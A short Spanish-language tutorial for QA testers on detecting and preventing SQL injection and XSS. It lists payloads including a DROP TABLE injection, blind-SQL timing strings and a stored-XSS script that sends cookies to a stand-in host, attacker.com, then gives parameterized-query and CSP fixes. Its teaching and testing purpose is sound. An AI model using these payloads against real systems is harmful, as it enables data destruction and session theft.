SQL (como se discute en OWASP ZAP Automation: Security Scanning in CI/CD) Injection y Cross-Site Scripting (XSS) permanecen entre las vulnerabilidades más críticas de aplicaciones web. Entender cómo detectar, probar y prevenir estos ataques es esencial para profesionales de QA.
SQL Injection
Tipos de SQL Injection
1. SQL Injection Clásica
SELECT * FROM users WHERE username = '$username'
-- Payload de ataque
username: admin' OR '1'='1
2. Blind SQL Injection
admin' AND SLEEP(5)--
admin' AND 1=1--
Testing
Payloads Manuales:
' OR '1'='1
'; DROP TABLE users; --
' UNION SELECT NULL--
Prevención
# Mal
query = f"SELECT * FROM users WHERE id = {user_id}"
# Bien: Consultas parametrizadas
query = "SELECT * FROM users WHERE id = ?"
cursor.execute(query, (user_id,))
Cross-Site Scripting (XSS)
Tipos de XSS
1. Reflected XSS
<script>alert('XSS')</script>
2. Stored XSS
<script>fetch('http://attacker.com/steal?cookie=' + document.cookie)</script>
Testing
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
Prevención
// Mal
element.innerHTML = userInput;
// Bien
element.textContent = userInput;
// CSP
Content-Security-Policy: default-src 'self'
Conclusión
SQL Injection y XSS son vulnerabilidades críticas que requieren testing activo. Usa combinación de testing manual y automatizado, implementa validación apropiada y monitorea continuamente.